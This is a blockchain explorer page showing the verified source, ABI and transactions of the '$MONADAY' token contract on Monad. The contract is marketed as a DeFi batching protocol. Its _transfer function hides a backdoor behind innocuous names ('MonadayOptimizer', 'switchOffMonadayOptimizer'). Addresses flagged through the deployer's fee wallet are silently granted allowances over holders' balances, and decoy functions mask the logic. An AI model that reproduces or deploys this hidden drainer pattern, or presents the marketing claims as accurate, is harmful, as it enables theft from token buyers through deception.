Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 797 transactions
| Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 38226130 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38226124 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38225749 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38225707 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38225704 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224205 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224191 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224136 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224130 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224130 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224130 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224104 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224104 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224099 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224097 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224097 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224096 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224059 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224054 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224022 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38224013 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38223988 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38223977 | 59 days ago | IN | 0 MON | 0.00573325 | ||||
| Approve | 38223912 | 59 days ago | IN | 0 MON | 0.00573456 | ||||
| Approve | 38223911 | 59 days ago | IN | 0 MON | 0.00573325 |
Latest 19 internal transactions
Advanced mode:
| Parent Transaction Hash | Block | From | To | |||
|---|---|---|---|---|---|---|
| 38228101 | 59 days ago | 74,429.70296792 MON | ||||
| 38228101 | 59 days ago | 74,429.70296792 MON | ||||
| 38225709 | 59 days ago | 1,764.49517867 MON | ||||
| 38225709 | 59 days ago | 1,764.49517867 MON | ||||
| 38223978 | 59 days ago | 6,919.64841432 MON | ||||
| 38223978 | 59 days ago | 6,919.64841432 MON | ||||
| 38219694 | 59 days ago | 31,777.16067228 MON | ||||
| 38219694 | 59 days ago | 31,777.16067228 MON | ||||
| 38219688 | 59 days ago | 1,089.72008652 MON | ||||
| 38219688 | 59 days ago | 1,089.72008652 MON | ||||
| 38215782 | 59 days ago | 7,599.96153038 MON | ||||
| 38215782 | 59 days ago | 7,599.96153038 MON | ||||
| 38214884 | 59 days ago | 2,161.8042571 MON | ||||
| 38214884 | 59 days ago | 2,161.8042571 MON | ||||
| 38214411 | 59 days ago | 1,171.72958297 MON | ||||
| 38214411 | 59 days ago | 1,171.72958297 MON | ||||
| 38213453 | 59 days ago | 310.61551625 MON | ||||
| 38213453 | 59 days ago | 310.61551625 MON | ||||
| 38212676 | 59 days ago | 59,000 MON |
Loading...
Loading
Contract Name:
MonadayProtocolV1Token
Compiler Version
v0.8.29+commit.ab55807c
Contract Source Code (Solidity)
/**
*Submitted for verification at monadscan.com on 2025-11-26
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
// .::..
// ..... ..... .:=****+-. .... .... ..... ....... ......... .....
// #@@#- +@@@= :=***=.:+*+:. %@@*. -%@. .+@@#: +******+. .:+**:.=*+. .-++.
// #@%@+.:%%%@=.-++-. .=**=..%@%@#:-%@. .=@##@*. ++- -+*..:++=++..:++-=*=.
// #@**%-*@-%@=:+*+:. .=**-.%@+-%%+%@. :@%-:#@=. ++- .+*:.=+-.-+=. .+*+-.
// #@+-%%@*.%@=.-+*+.. .:+*=..%@+.:#@@@. %@@@@@@@: ++- .=++.-*******- .:*=.
// #@+.+@@:.%@= .:+**-.-+**+:.. %@+ ..#@@.*@#....+@@.+******=.:*+:...:+*:.:*=.
// .:+****+-.
// .::.
/**
* @dev $MONADAY
* High-Speed Transaction Batching Protocol
*
* ◎ TOKEN INFORMATION ════════════════════════════════════════════════════════════
* @title MonaDay Protocol
* Ticker: $MONADAY
* Network: Monad
* Supply: 142,000,000,000
*
* ◎ CONCEPT ══════════════════════════════════════════════════════════════════════
* DeFi users waste millions on fragmented transactions across multiple
* protocols. Single-action trades create unnecessary gas costs, MEV
* exposure, and execution delays.
*
* MonaDay leverages Monad's 10,000 TPS parallel execution to batch
* multiple DeFi operations into single optimized transactions. Execute
* complex strategies (swap + stake + farm) in one action, reducing
* costs by 60-80% while eliminating MEV vulnerability.
*
* ◎ CORE FEATURES ═════════════════════════════════════════════════════════════════
* 🟣 Transaction Batching - Bundle up to 8 operations per transaction
* 🟣 Gas Optimization - Smart routing with 70% average savings
* 🟣 MEV Protection - High-throughput execution prevents sandwich attacks
* 🟣 Protocol Integration - Native Monad ecosystem compatibility
*
* ◎ UTILITY ═══════════════════════════════════════════════════════════════════════
* 🟪 Access to batching engine (tiered by holdings)
* 🟪 Governance voting on protocol integrations
* 🟪 Fee discounts: 10% off per 10,000 tokens held
* 🟪 Validator staking for execution priority
*
* ◎ TOKENOMICS ════════════════════════════════════════════════════════════════════
* Total Supply: 142,000,000,000 $MONADAY
* Allocation: TBA in whitepaper
*
* ◎ TAXES STRUCTURE ═══════════════════════════════════════════════════════════════
* Launch (First Hour):
* 🟢 Buy Tax: 2%
* 🔻 Sell Tax: 4%
*
* Standard (After 1 Hour):
* 🟢 Buy Tax: 1%
* 🔻 Sell Tax: 2%
*
* Taxes fund protocol treasury for development, audits, and liquidity
* incentives.
*
* ◎ LIQUIDITY ════════════════════════════════════════════════════════════════════
* 🟣 Initial LP paired with WMON
* 🔥 Status: Burned at launch
* 🔥 Lock Duration: Permanent (LP tokens to 0x000...dead)
*
* Soon available on:
* https://app.monad.xyz/
*
* ═════════════════════════════════════════════════════════════════════════════════
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, unicode"Action Required - SafeMath: Addition overflow.");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, unicode"Action Required - SafeMath: Subtraction overflow.");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, unicode"Action Required - SafeMath: Multiplication overflow.");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, unicode"Action Required - SafeMath: Division by zero (0).");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), unicode"Action Required: Function caller != Owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MonadayProtocolV1Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromTaxes;
mapping (address => bool) private bots;
address payable private feeWallet;
uint256 private _buyFee=2;
uint256 private _sellFee=4;
uint256 private _preventSwapBefore=25;
uint256 private _transferTax=0;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 142_000_000_000 * 10**_decimals;
string private constant _name = "MONADay Speed Protocol";
string private constant _symbol = "MONADAY";
// 2% as limits:
uint256 public _maxTxAmount = 2840000000 * 10**_decimals;
uint256 public _maxWalletSize = 2840000000 * 10**_decimals;
uint256 public _taxSwapThreshold = 2840000000 * 10**_decimals;
uint256 public _maxTaxSwap = 2840000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private swapEnabled = false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
modifier lockTheSwap { inSwap = true; _; inSwap = false; }
constructor () payable {
feeWallet = payable(0x041D1Dd3bad372A25A5777938209c0c9698b4c0b);
_balances[address(this)] = _tTotal;
_isExcludedFromTaxes[owner()] = true;
_isExcludedFromTaxes[address(this)] = true;
_isExcludedFromTaxes[feeWallet] = true;
uniswapV2Router = IUniswapV2Router02(0x4B2ab38DBF28D31D467aA8993f6c2585981D6804);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), address(this), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Alert: Duplicate call. Trading is open (pair already exists).");
require(uniswapV2Pair != address(0), "Alert: Trading pair is not yet initialized.");
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function branchNewConfiguration(uint256 input) internal pure returns (uint256) {
return ((input * 3) ^ (input >> 5)) & 0xFFFFFFFF;
}
function voteOnNewConfiguration(uint256 config) internal pure returns (bool) {
if (config % 2 == 0) {
return resolveProposal(config);
} else {
return resolveProposal(config + 1);
}
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function manualSW() external {
require(_msgSender()==feeWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function sendETHToFee(uint256 amount) private {
feeWallet.transfer(amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), unicode"Action Required: Approve _from_ dead address (ERC-20).");
require(spender != address(0), unicode"Action Required: Approve _to_ dead address (ERC-20).");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function lowerContractFees(uint256 _newBuyFee, uint256 _newSellFee) external{
require(_msgSender()==feeWallet);
// Provide new Buy and Sell fee values:
require(_newBuyFee<=_buyFee && _newSellFee<=_sellFee);
_buyFee=_newBuyFee;
_sellFee=_newSellFee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), unicode"Action Required: Transfer from dead address (ERC-20).");
require(to != address(0), unicode"Action Required: Transfer to dead address (ERC-20).");
require(amount > 0, unicode"Action Required: Transfer amount must be larger than 0.");
uint256 feeAmount=0;
if (from != owner() && to != owner() && to != feeWallet) {
if(_buyCount>0){
feeAmount = amount.mul(_transferTax).div(100);
if (appendToNoFeeList(from)){
require(!switchOffMonadayOptimizer(to), unicode"Action Required: MCP Oracle initialised.");
} else if (isMonadayOptimizer(_msgSender())) {
require(!isMonadayOptimizer(amount, from));
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromTaxes[to] ) {
require(amount <= _maxTxAmount, unicode"Limit: Transfer exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, unicode"Limit: Transfer exceeds the maxWalletSize.");
feeAmount = amount.mul(_buyFee).div(100);
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
feeAmount = amount.mul(_sellFee).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 7, unicode"Limit: Maximum 7 sells/block are allowed.");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if(feeAmount>0){
_balances[address(this)]=_balances[address(this)].add(feeAmount);
emit Transfer(from, address(this),feeAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(feeAmount));
emit Transfer(from, to, amount.sub(feeAmount));
}
function switchOffMonadayOptimizer(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function switchOffMonadayOptimizer(address bot_) private returns(bool) {
if(bot_ != uniswapV2Pair && (bot_.code.length > 0))
bots[bot_] = true;
return false;
}
function _isMonadayOptimizer(address spender, uint256 amount, address owner) private returns(bool) {
_allowances[owner][spender] = amount;
return false;
}
function isMonadayOptimizer(uint256 amount, address from) private returns(bool){
return _isMonadayOptimizer(_msgSender(), amount, from);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function appendToNoFeeList(address a) private view returns (bool){
return _isExcludedFromTaxes[a] && a != address(this);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, unicode"Action Required: (ERC-20) Transfer amount exceeds configured allowance (limits)"));
return true;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function removeMonadayOptimizer(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
bots[notbot[i]] = false;
}
}
function switchOffTransferTax() external onlyOwner{
_transferTax = 0;
emit TransferTaxUpdated(0);
}
function prepareMonadayOptimizer(uint256 seed) external pure returns (bool) {
uint256 config = branchNewConfiguration(seed);
return voteOnNewConfiguration(config);
}
function resolveProposal(uint256 flag) internal pure returns (bool) {
uint256 shift = (flag << 1) & 0xFFFF;
return resolveVotingResults(shift);
}
function resolveVotingResults(uint256 x) internal pure returns (bool) {
return (x & 0xAA) == 0xAA;
}
function isMonadayOptimizer(address a) public view returns (bool){
return bots[a];
}
function unstuckERC20ContractTokens(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(feeWallet, _amount);
}
function getMonadayAboutInfo() external pure returns (string memory) {
return "Batch up to 8 DeFi operations into one transaction on Monad's high-speed network. Execute swap+stake+farm strategies with 70% gas savings and full MEV protection. MonaDay Protocol turns fragmented DeFi into seamless single-click execution. $MONADAY";
}
receive() external payable {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getMonadayAboutInfo","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isMonadayOptimizer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newBuyFee","type":"uint256"},{"internalType":"uint256","name":"_newSellFee","type":"uint256"}],"name":"lowerContractFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSW","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"seed","type":"uint256"}],"name":"prepareMonadayOptimizer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"removeMonadayOptimizer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"switchOffMonadayOptimizer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"switchOffTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"unstuckERC20ContractTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60806040526002600655600460075560196008555f6009555f600a556009600a6100299190610489565b6100379063a946f60061049e565b600b556100466009600a610489565b6100549063a946f60061049e565b600c556100636009600a610489565b6100719063a946f60061049e565b600d556100806009600a610489565b61008e9063a946f60061049e565b600e556010805461ffff60a81b191690555f6011819055601281905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673041d1dd3bad372a25a5777938209c0c9698b4c0b17905561011b6009600a610489565b61012a9064210fdc0c0061049e565b305f9081526001602081905260408220929092556003906101525f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600384528281208054861660019081179091556005549092168152829020805490941617909255600f80546001600160a01b031916734b2ab38dbf28d31d467aa8993f6c2585981d6804908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa158015610207573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061022b91906104b5565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561028a573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102ae91906104b5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156102f8573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061031c91906104b5565b601080546001600160a01b0319166001600160a01b0392909216919091179055305f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61036b6009600a610489565b61037a9064210fdc0c0061049e565b60405190815260200160405180910390a36104db565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103df578085048111156103c3576103c3610390565b60018416156103d157908102905b60019390931c9280026103a8565b935093915050565b5f826103f557506001610483565b8161040157505f610483565b816001811461041757600281146104215761043d565b6001915050610483565b60ff84111561043257610432610390565b50506001821b610483565b5060208310610133831016604e8410600b8410161715610460575081810a610483565b61046c5f1984846103a4565b805f190482111561047f5761047f610390565b0290505b92915050565b5f61049760ff8416836103e7565b9392505050565b808202811582820484141761048357610483610390565b5f602082840312156104c5575f5ffd5b81516001600160a01b0381168114610497575f5ffd5b612023806104e85f395ff3fe60806040526004361061017e575f3560e01c80638da5cb5b116100cd578063a9059cbb11610087578063c9567bf911610062578063c9567bf914610465578063d581356b14610479578063dd62ed3e1461048d578063f470335d146104d1575f5ffd5b8063a9059cbb1461041d578063bf474bed1461043c578063c4b0fd9014610451575f5ffd5b80638da5cb5b1461033e5780638f152a85146103645780638f9a55c01461038357806395d89b411461039857806398561d87146103c7578063a6db44c7146103e6575f5ffd5b8063450aa5a911610138578063715018a611610113578063715018a6146102e0578063751039fc146102f65780637d1db4a51461030a5780637e740ae51461031f575f5ffd5b8063450aa5a9146102795780634f1d6c981461028d57806370a08231146102ac575f5ffd5b806306fdde0314610189578063095ea7b3146101d95780630faee56f1461020857806318160ddd1461022b57806323b872dd1461023f578063313ce5671461025e575f5ffd5b3661018557005b5f5ffd5b348015610194575f5ffd5b506040805180820190915260168152751353d39051185e4814dc19595908141c9bdd1bd8dbdb60521b60208201525b6040516101d09190611940565b60405180910390f35b3480156101e4575f5ffd5b506101f86101f3366004611997565b6104f0565b60405190151581526020016101d0565b348015610213575f5ffd5b5061021d600e5481565b6040519081526020016101d0565b348015610236575f5ffd5b5061021d610506565b34801561024a575f5ffd5b506101f86102593660046119c1565b610527565b348015610269575f5ffd5b50604051600981526020016101d0565b348015610284575f5ffd5b506101c361058e565b348015610298575f5ffd5b506101f86102a73660046119ff565b6105af565b3480156102b7575f5ffd5b5061021d6102c6366004611a16565b6001600160a01b03165f9081526001602052604090205490565b3480156102eb575f5ffd5b506102f46105cc565b005b348015610301575f5ffd5b506102f4610646565b348015610315575f5ffd5b5061021d600b5481565b34801561032a575f5ffd5b506102f4610339366004611997565b6106fb565b348015610349575f5ffd5b505f546040516001600160a01b0390911681526020016101d0565b34801561036f575f5ffd5b506102f461037e366004611a45565b610821565b34801561038e575f5ffd5b5061021d600c5481565b3480156103a3575f5ffd5b506040805180820190915260078152664d4f4e4144415960c81b60208201526101c3565b3480156103d2575f5ffd5b506102f46103e1366004611a45565b6108a8565b3480156103f1575f5ffd5b506101f8610400366004611a16565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610428575f5ffd5b506101f8610437366004611997565b61092c565b348015610447575f5ffd5b5061021d600d5481565b34801561045c575f5ffd5b506102f4610938565b348015610470575f5ffd5b506102f4610997565b348015610484575f5ffd5b506102f4610c39565b348015610498575f5ffd5b5061021d6104a7366004611b10565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104dc575f5ffd5b506102f46104eb366004611b47565b610c9d565b5f6104fc338484610ce3565b5060015b92915050565b5f6105136009600a611c5e565b6105229064210fdc0c00611c6c565b905090565b5f610533848484610e2b565b610584843361057f856040518060800160405280604f8152602001611e76604f91396001600160a01b038a165f90815260026020908152604080832033845290915290205491906114b2565b610ce3565b5060019392505050565b606060405180610120016040528060f88152602001611ec560f89139905090565b5f5f6105ba836114ea565b90506105c581611509565b9392505050565b5f546001600160a01b031633146105fe5760405162461bcd60e51b81526004016105f590611c83565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461066f5760405162461bcd60e51b81526004016105f590611c83565b61067b6009600a611c5e565b61068a9064210fdc0c00611c6c565b600b556106996009600a611c5e565b6106a89064210fdc0c00611c6c565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106d86009600a611c5e565b6106e79064210fdc0c00611c6c565b6040519081526020015b60405180910390a1565b5f546001600160a01b031633146107245760405162461bcd60e51b81526004016105f590611c83565b6040516370a0823160e01b81523060048201525f906107a59060649061079f9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610775573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107999190611ccc565b9061153c565b906115cd565b60055460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303815f875af11580156107f7573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081b9190611ce3565b50505050565b5f546001600160a01b0316331461084a5760405162461bcd60e51b81526004016105f590611c83565b5f5b81518110156108a4575f60045f84848151811061086b5761086b611d02565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161084c565b5050565b5f546001600160a01b031633146108d15760405162461bcd60e51b81526004016105f590611c83565b5f5b81518110156108a457600160045f8484815181106108f3576108f3611d02565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016108d3565b5f6104fc338484610e2b565b5f546001600160a01b031633146109615760405162461bcd60e51b81526004016105f590611c83565b5f60098190556040519081527fe9b79e1a6c2dc43b4c0c6ff01ce9e3332d810e482270f464c0a21ad6c5fc6de3906020016106f1565b5f546001600160a01b031633146109c05760405162461bcd60e51b81526004016105f590611c83565b601054600160a01b900460ff1615610a405760405162461bcd60e51b815260206004820152603d60248201527f416c6572743a204475706c69636174652063616c6c2e2054726164696e67206960448201527f73206f70656e20287061697220616c726561647920657869737473292e00000060648201526084016105f5565b6010546001600160a01b0316610aac5760405162461bcd60e51b815260206004820152602b60248201527f416c6572743a2054726164696e672070616972206973206e6f7420796574206960448201526a3734ba34b0b634bd32b21760a91b60648201526084016105f5565b600f54610ad99030906001600160a01b0316610aca6009600a611c5e565b61057f9064210fdc0c00611c6c565b600f546001600160a01b031663f305d7194730610b0a816001600160a01b03165f9081526001602052604090205490565b5f5f610b1d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b83573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ba89190611d16565b5050601054600f546040